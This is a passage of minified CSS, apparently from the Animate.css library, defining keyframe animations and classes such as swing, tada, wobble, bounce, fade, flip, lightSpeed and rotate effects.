swing{20%{-webkit-transform:rotate3d(0,0,1,15deg);transform:rotate3d(0,0,1,15deg)}40%{-webkit-transform:rotate3d(0,0,1,-10deg);transform:rotate3d(0,0,1,-10deg)}60%{-webkit-transform:rotate3d(0,0,1,5deg);transform:rotate3d(0,0,1,5deg)}80%{-webkit-transform:rotate3d(0,0,1,-5deg);transform:rotate3d(0,0,1,-5deg)}100%{-webkit-transform:rotate3d(0,0,1,0deg);transform:rotate3d(0,0,1,0deg)}}.swing{-webkit-transform-origin:top center;-ms-transform-origin:top center;transform-origin:top center;-webkit-animation-name:swing;animation-name:swing}@-webkit-keyframes tada{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}10%,20%{-webkit-transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg);transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg)}30%,50%,70%,90%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg)}40%,60%,80%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes tada{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}10%,20%{-webkit-transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg);transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg)}30%,50%,70%,90%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg)}40%,60%,80%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.tada{-webkit-animation-name:tada;animation-name:tada}@-webkit-keyframes wobble{0%{-webkit-transform:none;transform:none}15%{-webkit-transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg);transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg)}30%{-webkit-transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg);transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg)}45%{-webkit-transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg);transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg)}60%{-webkit-transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg);transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg)}75%{-webkit-transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg);transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg)}100%{-webkit-transform:none;transform:none}}@keyframes wobble{0%{-webkit-transform:none;transform:none}15%{-webkit-transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg);transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg)}30%{-webkit-transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg);transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg)}45%{-webkit-transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg);transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg)}60%{-webkit-transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg);transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg)}75%{-webkit-transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg);transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg)}100%{-webkit-transform:none;transform:none}}.wobble{-webkit-animation-name:wobble;animation-name:wobble}@-webkit-keyframes bounceIn{0%,20%,40%,60%,80%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}100%{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes bounceIn{0%,20%,40%,60%,80%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}100%{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.bounceIn{-webkit-animation-name:bounceIn;animation-name:bounceIn;-webkit-animation-duration:.75s;animation-duration:.75s}@-webkit-keyframes bounceInDown{0%,60%,75%,90%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0);transform:translate3d(0,-3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}100%{-webkit-transform:none;transform:none}}@keyframes bounceInDown{0%,60%,75%,90%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0);transform:translate3d(0,-3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}100%{-webkit-transform:none;transform:none}}.bounceInDown{-webkit-animation-name:bounceInDown;animation-name:bounceInDown}@-webkit-keyframes bounceInLeft{0%,60%,75%,90%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0);transform:translate3d(-3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}100%{-webkit-transform:none;transform:none}}@keyframes bounceInLeft{0%,60%,75%,90%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0);transform:translate3d(-3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}100%{-webkit-transform:none;transform:none}}.bounceInLeft{-webkit-animation-name:bounceInLeft;animation-name:bounceInLeft}@-webkit-keyframes bounceInRight{0%,60%,75%,90%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(3000px,0,0);transform:translate3d(3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}100%{-webkit-transform:none;transform:none}}@keyframes bounceInRight{0%,60%,75%,90%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(3000px,0,0);transform:translate3d(3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}100%{-webkit-transform:none;transform:none}}.bounceInRight{-webkit-animation-name:bounceInRight;animation-name:bounceInRight}@-webkit-keyframes bounceInUp{0%,60%,75%,90%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(0,3000px,0);transform:translate3d(0,3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes bounceInUp{0%,60%,75%,90%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;-webkit-transform:translate3d(0,3000px,0);transform:translate3d(0,3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.bounceInUp{-webkit-animation-name:bounceInUp;animation-name:bounceInUp}@-webkit-keyframes bounceOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}100%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}@keyframes bounceOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}100%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}.bounceOut{-webkit-animation-name:bounceOut;animation-name:bounceOut;-webkit-animation-duration:.75s;animation-duration:.75s}@-webkit-keyframes bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}.bounceOutDown{-webkit-animation-name:bounceOutDown;animation-name:bounceOutDown}@-webkit-keyframes bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}.bounceOutLeft{-webkit-animation-name:bounceOutLeft;animation-name:bounceOutLeft}@-webkit-keyframes bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.bounceOutRight{-webkit-animation-name:bounceOutRight;animation-name:bounceOutRight}@-webkit-keyframes bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}.bounceOutUp{-webkit-animation-name:bounceOutUp;animation-name:bounceOutUp}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}.fadeIn{-webkit-animation-name:fadeIn;animation-name:fadeIn}@-webkit-keyframes fadeInDown{0%{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInDown{0%{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.fadeInDown{-webkit-animation-name:fadeInDown;animation-name:fadeInDown}@-webkit-keyframes fadeInDownBig{0%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInDownBig{0%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.fadeInDownBig{-webkit-animation-name:fadeInDownBig;animation-name:fadeInDownBig}@-webkit-keyframes fadeInLeft{0%{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInLeft{0%{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.fadeInLeft{-webkit-animation-name:fadeInLeft;animation-name:fadeInLeft}@-webkit-keyframes fadeInLeftBig{0%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInLeftBig{0%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.fadeInLeftBig{-webkit-animation-name:fadeInLeftBig;animation-name:fadeInLeftBig}@-webkit-keyframes fadeInRight{0%{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInRight{0%{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.fadeInRight{-webkit-animation-name:fadeInRight;animation-name:fadeInRight}@-webkit-keyframes fadeInRightBig{0%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInRightBig{0%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.fadeInRightBig{-webkit-animation-name:fadeInRightBig;animation-name:fadeInRightBig}@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.fadeInUp{-webkit-animation-name:fadeInUp;animation-name:fadeInUp}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.fadeInUpBig{-webkit-animation-name:fadeInUpBig;animation-name:fadeInUpBig}@-webkit-keyframes fadeOut{0%{opacity:1}100%{opacity:0}}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}.fadeOut{-webkit-animation-name:fadeOut;animation-name:fadeOut}@-webkit-keyframes fadeOutDown{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}.fadeOutDown{-webkit-animation-name:fadeOutDown;animation-name:fadeOutDown}@-webkit-keyframes fadeOutDownBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes fadeOutDownBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}.fadeOutDownBig{-webkit-animation-name:fadeOutDownBig;animation-name:fadeOutDownBig}@-webkit-keyframes fadeOutLeft{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@keyframes fadeOutLeft{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}.fadeOutLeft{-webkit-animation-name:fadeOutLeft;animation-name:fadeOutLeft}@-webkit-keyframes fadeOutLeftBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes fadeOutLeftBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}.fadeOutLeftBig{-webkit-animation-name:fadeOutLeftBig;animation-name:fadeOutLeftBig}@-webkit-keyframes fadeOutRight{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes fadeOutRight{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}.fadeOutRight{-webkit-animation-name:fadeOutRight;animation-name:fadeOutRight}@-webkit-keyframes fadeOutRightBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes fadeOutRightBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.fadeOutRightBig{-webkit-animation-name:fadeOutRightBig;animation-name:fadeOutRightBig}@-webkit-keyframes fadeOutUp{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}@keyframes fadeOutUp{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}.fadeOutUp{-webkit-animation-name:fadeOutUp;animation-name:fadeOutUp}@-webkit-keyframes fadeOutUpBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes fadeOutUpBig{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}.fadeOutUpBig{-webkit-animation-name:fadeOutUpBig;animation-name:fadeOutUpBig}@-webkit-keyframes flip{0%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-360deg);transform:perspective(400px) rotate3d(0,1,0,-360deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px) scale3d(.95,.95,.95);transform:perspective(400px) scale3d(.95,.95,.95);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}100%{-webkit-transform:perspective(400px);transform:perspective(400px);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}}@keyframes flip{0%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-360deg);transform:perspective(400px) rotate3d(0,1,0,-360deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px) scale3d(.95,.95,.95);transform:perspective(400px) scale3d(.95,.95,.95);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}100%{-webkit-transform:perspective(400px);transform:perspective(400px);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}}.animated.flip{-webkit-backface-visibility:visible;backface-visibility:visible;-webkit-animation-name:flip;animation-name:flip}@-webkit-keyframes flipInX{0%{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(1,0,0,10deg);transform:perspective(400px) rotate3d(1,0,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-5deg);transform:perspective(400px) rotate3d(1,0,0,-5deg)}100%{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInX{0%{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(1,0,0,10deg);transform:perspective(400px) rotate3d(1,0,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-5deg);transform:perspective(400px) rotate3d(1,0,0,-5deg)}100%{-webkit-transform:perspective(400px);transform:perspective(400px)}}.flipInX{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipInX;animation-name:flipInX}@-webkit-keyframes flipInY{0%{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-20deg);transform:perspective(400px) rotate3d(0,1,0,-20deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(0,1,0,10deg);transform:perspective(400px) rotate3d(0,1,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-5deg);transform:perspective(400px) rotate3d(0,1,0,-5deg)}100%{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInY{0%{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-20deg);transform:perspective(400px) rotate3d(0,1,0,-20deg);-webkit-transition-timing-function:ease-in;transition-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(0,1,0,10deg);transform:perspective(400px) rotate3d(0,1,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-5deg);transform:perspective(400px) rotate3d(0,1,0,-5deg)}100%{-webkit-transform:perspective(400px);transform:perspective(400px)}}.flipInY{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipInY;animation-name:flipInY}@-webkit-keyframes flipOutX{0%{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);opacity:1}100%{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);opacity:0}}@keyframes flipOutX{0%{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);opacity:1}100%{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);opacity:0}}.flipOutX{-webkit-animation-name:flipOutX;animation-name:flipOutX;-webkit-animation-duration:.75s;animation-duration:.75s;-webkit-backface-visibility:visible!important;backface-visibility:visible!important}@-webkit-keyframes flipOutY{0%{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-15deg);transform:perspective(400px) rotate3d(0,1,0,-15deg);opacity:1}100%{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);opacity:0}}@keyframes flipOutY{0%{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-15deg);transform:perspective(400px) rotate3d(0,1,0,-15deg);opacity:1}100%{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);opacity:0}}.flipOutY{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipOutY;animation-name:flipOutY;-webkit-animation-duration:.75s;animation-duration:.75s}@-webkit-keyframes lightSpeedIn{0%{-webkit-transform:translate3d(100%,0,0) skewX(-30deg);transform:translate3d(100%,0,0) skewX(-30deg);opacity:0}60%{-webkit-transform:skewX(20deg);transform:skewX(20deg);opacity:1}80%{-webkit-transform:skewX(-5deg);transform:skewX(-5deg);opacity:1}100%{-webkit-transform:none;transform:none;opacity:1}}@keyframes lightSpeedIn{0%{-webkit-transform:translate3d(100%,0,0) skewX(-30deg);transform:translate3d(100%,0,0) skewX(-30deg);opacity:0}60%{-webkit-transform:skewX(20deg);transform:skewX(20deg);opacity:1}80%{-webkit-transform:skewX(-5deg);transform:skewX(-5deg);opacity:1}100%{-webkit-transform:none;transform:none;opacity:1}}.lightSpeedIn{-webkit-animation-name:lightSpeedIn;animation-name:lightSpeedIn;-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}@-webkit-keyframes lightSpeedOut{0%{opacity:1}100%{-webkit-transform:translate3d(100%,0,0) skewX(30deg);transform:translate3d(100%,0,0) skewX(30deg);opacity:0}}@keyframes lightSpeedOut{0%{opacity:1}100%{-webkit-transform:translate3d(100%,0,0) skewX(30deg);transform:translate3d(100%,0,0) skewX(30deg);opacity:0}}.lightSpeedOut{-webkit-animation-name:lightSpeedOut;animation-name:lightSpeedOut;-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}@-webkit-keyframes rotateIn{0%{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,-200deg);transform:rotate3d(0,0,1,-200deg);opacity:0}100%{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateIn{0%{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,-200deg);transform:rotate3d(0,0,1,-200deg);opacity:0}100%{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:none;transform:none;opacity:1}}.rotateIn{-webkit-animation-name:rotateIn;animation-name:rotateIn}@-webkit-keyframes rotateInDownLeft{0%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}100%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInDownLeft{0%{-webkit-transform-origin:left bottom;transform-origin:left 